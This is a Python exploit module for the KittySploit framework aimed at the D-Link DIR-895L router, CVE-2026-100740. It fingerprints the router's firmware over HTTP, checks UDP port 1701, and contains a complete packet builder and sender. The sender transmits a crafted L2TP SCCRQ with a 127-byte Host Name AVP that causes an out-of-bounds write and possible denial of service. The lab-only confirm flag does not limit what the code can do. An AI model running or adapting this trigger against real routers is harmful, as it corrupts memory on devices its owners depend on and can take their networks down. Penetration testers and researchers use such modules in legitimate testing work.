D-Link DIR-895L L2TP Host Name AVP OOB Write (CVE-2026-100740)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""D-Link DIR-895L L2TP Host Name AVP out-of-bounds write (CVE-2026-100740)."""

from __future__ import annotations

import re
import socket
import struct
from typing import Any, Optional
from urllib.parse import urlparse

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    L2TP_UDP_PORT = 1701
    POCBIT_PAGE = "https://pocbit.org/pocs/cve-2026-100740"
    VULN_FW_MARKERS = ("A1_102b07", "102b07")
    MODEL_MARKERS = ("dir-895l", "dir_895l", "DIR-895L")
    HTTP_PATHS = (
        "/",
        "/Login.html",
        "/login.html",
        "/index.asp",
        "/info/Login.html",
    )

    __info__ = {
        "name": "D-Link DIR-895L L2TP Host Name AVP OOB Write (CVE-2026-100740)",
        "description": (
            "Out-of-bounds one-byte NUL write in the L2TP control parser on D-Link DIR-895L "
            "firmware A1_102b07 when the Host Name AVP length is 127 (peer_hostname[128]). "
            "Requires L2TP WAN role / exposed UDP 1701. Set confirm=true to send the crafted "
            "SCCRQ trigger on authorized lab targets only."
        ),
        "author": ["PoCbit", "KittySploit Team"],
        "cve": ["CVE-2026-100740"],
        "platform": Platform.LINUX,
        "arch": [Arch.MIPS, Arch.ARM],
        "payload": {"default": "nopayload"},
        "references": [
            POCBIT_PAGE,
            "https://nvd.nist.gov/vuln/detail/CVE-2026-100740",
        ],
        "tags": [
            "dlink",
            "dir-895l",
            "router",
            "iot",
            "l2tp",
            "udp",
            "memory-corruption",
            "oob",
            "dos",
            "cve-2026-100740",
        ],
        "agent": {
            "risk": "critical",
            "effects": ["active_exploitation", "denial_of_service"],
            "expected_requests": 6,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "risk_signals"],
            "requires": {
                "tech_hints_any": ["dlink", "router"],
            },
            "chain": {
                "produces_capabilities": [
                    {"capability": "memory_corruption", "from_detail": "L2TP Host Name AVP OOB write"},
                ],
                "suggested_followups": [
                    "scanner/http/dlink_dir895l_cve_2026_100740_detect",
                ],
            },
        },
    }

    port = OptPort(80, "Router HTTP admin port", True)
    ssl = OptBool(False, "Use HTTPS for the admin interface", required=False, advanced=True)
    l2tp_port = OptPort(L2TP_UDP_PORT, "L2TP UDP port", required=True)
    l2tp_probe = OptBool(
        False,
        "During check(), send a minimal UDP probe to the L2TP port",
        required=False,
        advanced=True,
    )
    confirm = OptBool(
        False,
        "Send the Host Name AVP len=127 OOB trigger (authorized lab targets only)",
        required=False,
    )
    udp_timeout = OptInteger(6, "UDP socket timeout in seconds", required=False, advanced=True)

    def _host(self) -> str:
        target = str(getattr(self, "target", "") or "").strip()
        if "://" in target:
            parsed = urlparse(target)
            return str(parsed.hostname or parsed.netloc or target).split(":")[0]
        return target.split("/")[0].split(":")[0]

    @classmethod
    def _parse_firmware(cls, text: str) -> Optional[str]:
        if not text:
            return None
        match = re.search(r"A1[_-]?(\d+[a-z]\d+)", text, re.I)
        if match:
            return "A1_" + match.group(1).lower()
        match = re.search(r"(\d{3}b\d{2})", text, re.I)
        if match:
            return "A1_" + match.group(1).lower()
        return None

    @classmethod
    def _firmware_vulnerable(cls, fw_str: Optional[str]) -> Optional[bool]:
        if not fw_str:
            return None
        low = fw_str.lower()
        if "102b07" in low or low == "a1_102b07":
            return True
        return False

    def _detect_router(self) -> dict[str, Any]:
        row: dict[str, Any] = {
            "device": False,
            "model": None,
            "firmware": None,
            "vulnerable_firmware": None,
            "http_hits": [],
        }
        bodies: list[str] = []
        for path in self.HTTP_PATHS:
            response = self.http_request(
                method="GET",
                path=path,
                allow_redirects=True,
                timeout=int(self.timeout or 12),
            )
            if not response or int(response.status_code or 0) >= 500:
                continue
            body = response.text or ""
            low = body.lower()
            if any(marker.lower() in low for marker in self.MODEL_MARKERS) or "d-link" in low:
                row["http_hits"].append(path)
                bodies.append(body)
                if any(marker in body for marker in self.MODEL_MARKERS):
                    row["model"] = "DIR-895L"
                row["device"] = True
        for body in bodies:
            firmware = self._parse_firmware(body)
            if firmware:
                row["firmware"] = firmware
                row["vulnerable_firmware"] = self._firmware_vulnerable(firmware)
                break
        if row["device"] and row["firmware"] is None:
            for marker in self.VULN_FW_MARKERS:
                if any(marker.lower() in (body or "").lower() for body in bodies):
                    row["firmware"] = "A1_102b07 (hint)"
                    row["vulnerable_firmware"] = True
                    break
        return row

    def _udp_port_open(self, timeout: Optional[int] = None) -> dict[str, Any]:
        host = self._host()
        port = int(self.l2tp_port or self.L2TP_UDP_PORT)
        wait = float(timeout if timeout is not None else int(self.udp_timeout or 6))
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        sock.settimeout(wait)
        try:
            sock.sendto(b"\x00", (host, port))
            try:
                sock.recvfrom(512)
                return {"open": True, "response": True, "port": port}
            except socket.timeout:
                return {"open": True, "response": False, "port": port}
            except OSError:
                return {"open": True, "response": False, "port": port}
        except OSError as exc:
            return {"open": False, "error": str(exc), "port": port}
        finally:
            sock.close()

    @classmethod
    def _build_avp(cls, attr_type: int, value: bytes | int | str, mandatory: bool = True) -> bytes:
        if isinstance(value, int):
            val = struct.pack("!H", value)
        elif isinstance(value, bytes):
            val = value
        else:
            val = value.encode("latin-1", errors="replace")
        total_len = 6 + len(val)
        pad = b""
        if total_len % 2:
            pad = b"\x00"
            total_len += 1
        m_bit = 0x8000 if mandatory else 0
        word0 = m_bit | (total_len & 0x03FF)
        return struct.pack("!HHH", word0, 0, attr_type) + val + pad

    @classmethod
    def _build_l2tp_oob_hostname_packet(cls) -> bytes:
        """SCCRQ with Host Name AVP length 127 (triggers peer_hostname[len+1] write)."""
        avps = b""
        avps += cls._build_avp(0, 1)  # Message Type: SCCRQ
        avps += cls._build_avp(7, b"H" * 127)  # Host Name AVP
        length = 12 + len(avps)
        flags = 0xC802  # control, length, seq, ver=2
        hdr = struct.pack("!HHHHHH", flags, length, 0, 0, 0, 1)
        return hdr + avps

    def _send_l2tp_packet(
        self, payload: Optional[bytes] = None, timeout: Optional[int] = None
    ) -> dict[str, Any]:
        host = self._host()
        port = int(self.l2tp_port or self.L2TP_UDP_PORT)
        packet = payload or self._build_l2tp_oob_hostname_packet()
        wait = float(timeout if timeout is not None else int(self.udp_timeout or 6))
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        sock.settimeout(wait)
        try:
            sock.sendto(packet, (host, port))
            try:
                data, addr = sock.recvfrom(4096)
                return {
                    "sent_bytes": len(packet),
                    "response": True,
                    "response_bytes": len(data),
                    "from": f"{addr[0]}:{addr[1]}",
                }
            except socket.timeout:
                return {"sent_bytes": len(packet), "response": False, "timeout": True}
        except OSError as exc:
            return {"error": str(exc)}
        finally:
            sock.close()

    def _status_from_probe(self, det: dict[str, Any], udp: dict[str, Any]) -> tuple[str, bool]:
        if det.get("vulnerable_firmware") is True:
            return "vulnerable_firmware_a1_102b07", True
        if det.get("device") and udp.get("open"):
            return "dir895l_or_dlink_l2tp_open", True
        if det.get("device"):
            return "dlink_device_no_l2tp_udp", False
        return "not_dir895l", False

    def check(self):
        host = self._host()
        if not host:
            return {"vulnerable": False, "reason": "target not set", "confidence": "low"}

        det = self._detect_router()
        udp = self._udp_port_open(timeout=min(int(self.udp_timeout or 6), 4))
        status, candidate = self._status_from_probe(det, udp)

        result: dict[str, Any] = {
            "vulnerable": candidate,
            "confidence": "high" if det.get("vulnerable_firmware") is True else "medium",
            "status": status,
            "model": det.get("model"),
            "firmware": det.get("firmware"),
            "l2tp_udp": udp,
            "http_hits": det.get("http_hits") or [],
        }

        if det.get("vulnerable_firmware") is True and udp.get("open"):
            result["reason"] = (
                f"DIR-895L firmware {det.get('firmware')} with L2TP UDP/{udp.get('port')} open"
            )
        elif candidate:
            result["reason"] = (
                "D-Link router detected with reachable L2TP UDP port; firmware may be vulnerable"
            )
        elif det.get("device"):
            result["reason"] = "D-Link device detected but L2TP UDP 1701 is not reachable"
        else:
            result["reason"] = "Target does not look like a D-Link DIR-895L admin interface"

        if bool(self.l2tp_probe) and udp.get("open"):
            result["l2tp_packet_probe"] = self._send_l2tp_packet(
                b"\x00",
                timeout=min(int(self.udp_timeout or 6), 6),
            )

        result["note"] = (
            "OOB trigger needs L2TP WAN/upstream peer context; set confirm=true on lab targets only."
        )
        return result

    def run(self):
        print_status("CVE-2026-100740 — D-Link DIR-895L L2TP Host Name AVP OOB write")
        print_status(f"Target: {self._host()} (HTTP {self.port}, L2TP UDP {self.l2tp_port})")

        probe = self.check()
        print_info(f"Status: {probe.get('status')}")
        if probe.get("firmware"):
            print_info(f"Firmware: {probe.get('firmware')}")
        if probe.get("l2tp_udp"):
            udp = probe["l2tp_udp"]
            print_info(
                f"L2TP UDP/{udp.get('port')}: "
                f"{'open' if udp.get('open') else 'closed'}"
            )

        if not probe.get("vulnerable"):
            print_error(probe.get("reason", "Target does not appear exploitable"))
            self.not_vulnerable()
            return False

        print_success(probe.get("reason", "Target appears exploitable"))

        if not bool(self.confirm):
            print_warning(
                "Detection only — set confirm=true to send the Host Name AVP len=127 OOB trigger"
            )
            self.vulnerable()
            return True

        if not probe.get("l2tp_udp", {}).get("open"):
            print_error("L2TP UDP port is not reachable; refusing to send OOB trigger")
            return False

        packet = self._build_l2tp_oob_hostname_packet()
        l2tp_port = int(self.l2tp_port or self.L2TP_UDP_PORT)
        print_status(f"Sending OOB SCCRQ ({len(packet)} bytes) to UDP/{l2tp_port}")
        send_result = self._send_l2tp_packet(packet)
        if send_result.get("error"):
            print_error(f"L2TP send failed: {send_result['error']}")
            return False

        print_success("OOB packet sent")
        if send_result.get("response"):
            print_info(
                f"L2TP response from {send_result.get('from')} "
                f"({send_result.get('response_bytes')} bytes)"
            )
        else:
            print_warning("No L2TP response (timeout or silent peer)")

        print_warning(
            "Impact: memory corruption — possible DoS or further exploitation on isolated DIR-895L A1_102b07"
        )
        self.vulnerable()
        return True